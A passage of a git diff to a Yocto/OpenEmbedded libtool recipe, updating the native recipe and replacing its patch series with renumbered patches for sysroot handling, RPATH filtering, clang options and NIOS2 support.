@@ -2,13 +2,11 @@ require libtool-${PV}.inc
DEPENDS = ""
-SRC_URI += "file://prefix.patch"
-
inherit native
EXTRA_OECONF = " --with-libtool-sysroot=${STAGING_DIR_NATIVE}"
-do_configure_prepend () {
+do_configure:prepend () {
# Remove any existing libtool m4 since old stale versions would break
# any upgrade
rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
@@ -18,5 +16,5 @@ do_configure_prepend () {
do_install () {
autotools_do_install
install -d ${D}${bindir}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir}/${HOST_SYS}-libtool
+ install -m 0755 libtool ${D}${bindir}/libtool
}
diff --git a/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch b/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch
deleted file mode 100644
index 8c7c39feb6..0000000000
--- a/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 40a2da75e6d95cc7c498ebda95ab19ae0db2ebfb Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 26 Jan 2019 12:54:26 -0800
-Subject: [PATCH] libtool: Check for static libs for internal compiler
- libraries
-
-Libtool checks only for libraries linked as -l* when trying to
-find internal compiler libraries. Clang, however uses the absolute
-path to link its internal libraries e.g. compiler_rt. This patch
-handles clang's statically linked libraries when finding internal
-compiler libraries.
-
-https://crbug.com/749263
-
-Upstream-Status: Submitted [https://debbugs.gnu.org/cgi/bugreport.cgi?bug=27866]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- m4/libtool.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
-index d0389a0..9619c57 100644
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -7536,7 +7536,7 @@ if AC_TRY_EVAL(ac_compile); then
- for p in `eval "$output_verbose_link_cmd"`; do
- case $prev$p in
-
-- -L* | -R* | -l*)
-+ -L* | -R* | -l* | */libclang_rt.*.a)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test x-L = "$p" ||
---
-2.20.1
-
diff --git a/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch b/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch
deleted file mode 100644
index bbd36d8dc1..0000000000
--- a/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From df2cd898e48208f26320d40c3ed6b19c75c27142 Mon Sep 17 00:00:00 2001
-From: Marek Vasut <marex@denx.de>
-Date: Thu, 17 Sep 2015 00:43:15 +0200
-Subject: [PATCH] libtool: Fix support for NIOS2 processor
-
-The name of the system contains the string "nios2". This string
-is caught by the some of the greedy checks for OS/2 in libtool,
-in particular the *os2* branches of switch statements match for
-the nios2 string, which results in incorrect behavior of libtool.
-
-This patch adds an explicit check for *nios2* before the *os2*
-checks to prevent the OS/2 check incorrectly trapping the nios2
-as well.
-
-Signed-off-by: Marek Vasut <marex@denx.de>
-Upstream-Status: Submitted
----
- build-aux/ltmain.in | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
-index d5cf07a..4164284 100644
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -504,6 +504,12 @@ libtool_validate_options ()
- test : = "$debug_cmd" || func_append preserve_args " --debug"
-
- case $host in
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ *nios2*)
-+ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
-+ ;;
- # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
- # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
- *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*)
-@@ -6220,6 +6226,15 @@ func_mode_link ()
- if test -n "$library_names" &&
- { test no = "$use_static_libs" || test -z "$old_library"; }; then
- case $host in
-+ *nios2*)
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ if test no = "$installed"; then
-+ func_append notinst_deplibs " $lib"
-+ need_relink=yes
-+ fi
-+ ;;
- *cygwin* | *mingw* | *cegcc* | *os2*)
- # No point in relinking DLLs because paths are not encoded
- func_append notinst_deplibs " $lib"
-@@ -6290,6 +6305,11 @@ func_mode_link ()
- elif test -n "$soname_spec"; then
- # bleh windows
- case $host in
-+ *nios2*)
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ ;;
- *cygwin* | mingw* | *cegcc* | *os2*)
- func_arith $current - $age
- major=$func_arith_result
---
-2.5.1
-
diff --git a/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch
new file mode 100644
index 0000000000..eeb5ebf416
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch
@@ -0,0 +1,35 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 01/12] ltmain.in: Handle trailing slashes on install commands correctly
+
+A command like:
+
+libtool --mode=install /usr/bin/install -c gck-roots-store-standalone.la '/image/usr/lib/gnome-keyring/standalone/'
+
+where the path ends with a trailing slash currently fails. This occurs in
+software like gnome-keyring or pulseaudio and is because the comparision
+code doesn't see the paths as equal. Strip both paths to ensure this works
+reliably.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00010.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -2356,8 +2356,14 @@ func_mode_install ()
+ func_append dir "$objdir"
+
+ if test -n "$relink_command"; then
++ # Strip any trailing slash from the destination.
++ func_stripname '' '/' "$libdir"
++ destlibdir=$func_stripname_result
++ func_stripname '' '/' "$destdir"
++ s_destdir=$func_stripname_result
++
+ # Determine the prefix the user has applied to our future dir.
+- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
++ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
+
+ # Don't allow the user to place us outside of our expected
+ # location b/c this prevents finding dependent libraries that
diff --git a/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch
new file mode 100644
index 0000000000..d59b5a834e
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch
@@ -0,0 +1,37 @@
+From c3b90d6107a1b638477d5f4dcee48af289647af7 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 12:52:51 -0800
+Subject: [PATCH] ltmain.in: Parse additional clang options
+
+clang uses -rtlib and --unwindlib to select proper compiler runtime in
+some cases. There fore pass these options to linker when found in
+ldflags
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ build-aux/ltmain.in | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index 6a7bb72..c355c0c 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -5423,10 +5423,13 @@ func_mode_link ()
+ # --sysroot=* for sysroot support
+ # -O*, -g*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
+ # -stdlib=* select c++ std lib with clang
++ # -rtlib=* select c runtime lib with clang
++ # --unwindlib=* select unwinder library with clang
+ # -f*-prefix-map* needed for lto linking
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
+- -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*|-f*-prefix-map*)
++ -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*| \
++ -rtlib=*|--unwindlib=*|-f*-prefix-map*)
+ func_quote_for_eval "$arg"
+ arg=$func_quote_for_eval_result
+ func_append compile_command " $arg"
+--
+2.35.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch b/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch
new file mode 100644
index 0000000000..6da283959e
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch
@@ -0,0 +1,167 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 02/12] libtool.m4: Rename the --with-sysroot option to avoid conflict with gcc/binutils
+
+This patch renames the --with-sysroot option to --with-libtool-sysroot
+to avoid namespace conflict with binutils, gcc and other toolchain
+components since these componets also add that option to configure
+and this becomes confusing and conflicting otherwise.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream report:
+http://lists.gnu.org/archive/html/libtool/2010-10/msg00048.html
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00014.html]
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1215,28 +1215,28 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
+ # ----------------
+ AC_DEFUN([_LT_WITH_SYSROOT],
+ [AC_MSG_CHECKING([for sysroot])
+-AC_ARG_WITH([sysroot],
+-[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@],
++AC_ARG_WITH([libtool-sysroot],
++[AS_HELP_STRING([--with-libtool-sysroot@<:@=DIR@:>@],
+ [Search for dependent libraries within DIR (or the compiler's sysroot
+ if not specified).])],
+-[], [with_sysroot=no])
++[], [with_libtool_sysroot=no])
+
+ dnl lt_sysroot will always be passed unquoted. We quote it here
+ dnl in case the user passed a directory name.
+ lt_sysroot=
+-case $with_sysroot in #(
++case $with_libtool_sysroot in #(
+ yes)
+ if test yes = "$GCC"; then
+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
+ fi
+ ;; #(
+ /*)
+- lt_sysroot=`echo "$with_sysroot" | sed -e "$sed_quote_subst"`
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
+ ;; #(
+ no|'')
+ ;; #(
+ *)
+- AC_MSG_RESULT([$with_sysroot])
++ AC_MSG_RESULT([$with_libtool_sysroot])
+ AC_MSG_ERROR([The sysroot must be an absolute path.])
+ ;;
+ esac
+diff --git a/tests/sysroot.at b/tests/sysroot.at
+--- a/tests/sysroot.at
++++ b/tests/sysroot.at
+@@ -64,7 +64,7 @@ while read file; do
+ done])
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -114,7 +114,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ ]])
+@@ -155,7 +155,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ ]])
+diff --git a/tests/testsuite b/tests/testsuite
+--- a/tests/testsuite
++++ b/tests/testsuite
+@@ -48945,7 +48945,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -49154,7 +49154,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -49342,7 +49342,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -49694,7 +49694,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -49903,7 +49903,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50091,7 +50091,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50443,7 +50443,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -50652,7 +50652,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50840,7 +50840,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
diff --git a/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch b/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch
new file mode 100644
index 0000000000..0103a00451
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch
@@ -0,0 +1,24 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 03/12] ltmain.in: Add missing sysroot to library path
+
+When using a sysroot we should append it to libdir, which is helpful in
+cross builds as the system is staged in the sysroot. For normal builds,
+i.e. when lt_sysroot is not set, it will still behave the same and add
+-L/usr/lib to the relink command.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00017.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -6421,7 +6421,7 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
+- add_dir=-L$libdir
++ add_dir="-L$lt_sysroot$libdir"
+ # Try looking first in the location we're being installed to.
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
diff --git a/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch b/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch
new file mode 100644
index 0000000000..21b3dfe306
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch
@@ -0,0 +1,50 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 04/12] ltmain.sh: Fix sysroot paths being encoded into RPATHs
+
+There is a bug where RPATHs could end up containing sysroot values when
+cross compiling which is obviously incorrect. Strip out sysroot components
+from libdir when building RPATH values to avoid this.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00009.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -7569,9 +7569,11 @@ EOF
+ test relink = "$opt_mode" || rpath=$compile_rpath$rpath
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+- func_replace_sysroot "$libdir"
+- libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+ else
+@@ -8301,6 +8303,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $compile_rpath $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+@@ -8352,6 +8358,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
diff --git a/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch b/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch
new file mode 100644
index 0000000000..50d47d9f7a
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch
@@ -0,0 +1,72 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 05/12] ltmain.in: Don't encode RATHS which match default linker paths
+
+We don't want to add RPATHS which match default linker search paths, they're
+a waste of space. This patch filters libtools list of paths to encoode and
+removes the ones we don't need.
+
+Libtool may be passed link paths of the form "/usr/lib/../lib" so normalize
+the paths before comparision.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00013.html]
+
+diff -u b/build-aux/ltmain.in b/build-aux/ltmain.in
+--- b/build-aux/ltmain.in
++++ b/build-aux/ltmain.in 2012-08-22 11:01:34.191345989 -0700
+@@ -7286,8 +7286,16 @@
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append dep_rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8019,8 +8027,16 @@
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ rpath+=" $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8070,8 +8086,14 @@
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch b/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch
new file mode 100644
index 0000000000..999971241f
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch
@@ -0,0 +1,44 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 06/12] libtool.m4: Handle "/" as a sysroot correctly
+
+Update libtool.m4 to resolve a problem with lt_sysroot not being properly
+updated if the option '--with[-libtool]-sysroot' is not provided when
+running the 'configure' script for a package so that "/" as a sysroot
+is handled correctly by libtool.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream Report:
+http://lists.gnu.org/archive/html/bug-libtool/2013-09/msg00005.html
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00018.html]
+
+---
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1225,16 +1225,21 @@ dnl lt_sysroot will always be passed unquoted. We quote it here
+ dnl in case the user passed a directory name.
+ lt_sysroot=
+ case $with_libtool_sysroot in #(
+- yes)
++ no)
+ if test yes = "$GCC"; then
+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ # Treat "/" the same a an unset sysroot. It seems to be more
++ # compatible across host platforms that way!?
++ if test "$lt_sysroot" = /; then
++ lt_sysroot=
++ fi
+ fi
+ ;; #(
++ yes|''|/)
++ ;; #(
+ /*)
+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
+ ;; #(
+- no|'')
+- ;; #(
+ *)
+ AC_MSG_RESULT([$with_libtool_sysroot])
+ AC_MSG_ERROR([The sysroot must be an absolute path.])
diff --git a/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch b/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch
new file mode 100644
index 0000000000..395464e908
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch
@@ -0,0 +1,69 @@
+From: Marek Vasut <marex@denx.de>
+Subject: [PATCH 07/12] libtool: Fix support for NIOS2 processor
+
+The name of the system contains the string "nios2". This string
+is caught by the some of the greedy checks for OS/2 in libtool,
+in particular the *os2* branches of switch statements match for
+the nios2 string, which results in incorrect behavior of libtool.
+
+This patch adds an explicit check for *nios2* before the *os2*
+checks to prevent the OS/2 check incorrectly trapping the nios2
+as well.
+
+Signed-off-by: Marek Vasut <marex@denx.de>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00021.html]
+
+---
+ build-aux/ltmain.in | 20 ++++++++++++++++++++
+ 1 file changed, 20 insertions(+)
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index d5cf07a..4164284 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -504,6 +504,12 @@ libtool_validate_options ()
+ test : = "$debug_cmd" || func_append preserve_args " --debug"
+
+ case $host in
++ # For NIOS2, we want to make sure that it's not caught by the
++ # more general OS/2 check below. Otherwise, NIOS2 is the same
++ # as the default option.
++ *nios2*)
++ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
++ ;;
+ # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
+ # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
+ *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*)
+@@ -6220,6 +6226,15 @@ func_mode_link ()
+ if test -n "$library_names" &&
+ { test no = "$use_static_libs" || test -z "$old_library"; }; then
+ case $host in
++ *nios2*)
++ # For NIOS2, we want to make sure that it's not caught by the
++ # more general OS/2 check below. Otherwise, NIOS2 is the same
++ # as the default option.
++ if test no = "$installed"; then
++ func_append notinst_deplibs " $lib"
++ need_relink=yes
++ fi
++ ;;
+ *cygwin* | *mingw* | *cegcc* | *os2*)
+ # No point in relinking DLLs because paths are not encoded
+ func_append notinst_deplibs " $lib"
+@@ -6290,6 +6305,11 @@ func_mode_link ()
+ elif test -n "$soname_spec"; then
+ # bleh windows
+ case $host in
++ *nios2*)
++ # For NIOS2, we want to make sure that it's not caught by the
++ # more general OS/2 check below. Otherwise, NIOS2 is the same
++ # as the default option.
++ ;;
+ *cygwin* | mingw* | *cegcc* | *os2*)
+ func_arith $current - $age
+ major=$func_arith_result
+--
+2.5.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch b/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch
new file mode 100644
index 0000000000..afffdb9fd4
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch
@@ -0,0 +1,38 @@
+From b9993338080325a6e2b2ec94ca0ece80e7fa3fb6 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 26 Jan 2019 12:54:26 -0800
+Subject: [PATCH 08/12] libtool: Check for static libs for internal compiler libraries
+
+Libtool checks only for libraries linked as -l* when trying to
+find internal compiler libraries. Clang, however uses the absolute
+path to link its internal libraries e.g. compiler_rt. This patch
+handles clang's statically linked libraries when finding internal
+compiler libraries.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://crbug.com/749263
+https://debbugs.gnu.org/cgi/bugreport.cgi?bug=27866
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00016.html]
+---
+ m4/libtool.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index d0389a0..9619c57 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -7536,7 +7536,7 @@ if AC_TRY_EVAL(ac_compile); then
+ for p in `eval "$output_verbose_link_cmd"`; do
+ case $prev$p in
+
+- -L* | -R* | -l*)
++ -L* | -R* | -l* | */libclang_rt.*.a)
+ # Some compilers place space between "-{L,R}" and the path.
+ # Remove the space.
+ if test x-L = "$p" ||
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch b/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch
new file mode 100644
index 0000000000..348cd3c1ae
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch
@@ -0,0 +1,35 @@
+From: Mingli Yu <mingli.yu@windriver.com>
+Subject: [PATCH 09/12] Makefile.am: make sure autoheader run before autoconf
+
+autoheader will update ../libtool-2.4.6/libltdl/config-h.in which
+autoconf needs, so there comes a race sometimes as below:
+ | configure.ac:45: error: required file 'config-h.in' not found
+ | touch '../libtool-2.4.6/libltdl/config-h.in'
+
+So make sure autoheader run before autoconf to avoid this race.
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00015.html]
+
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
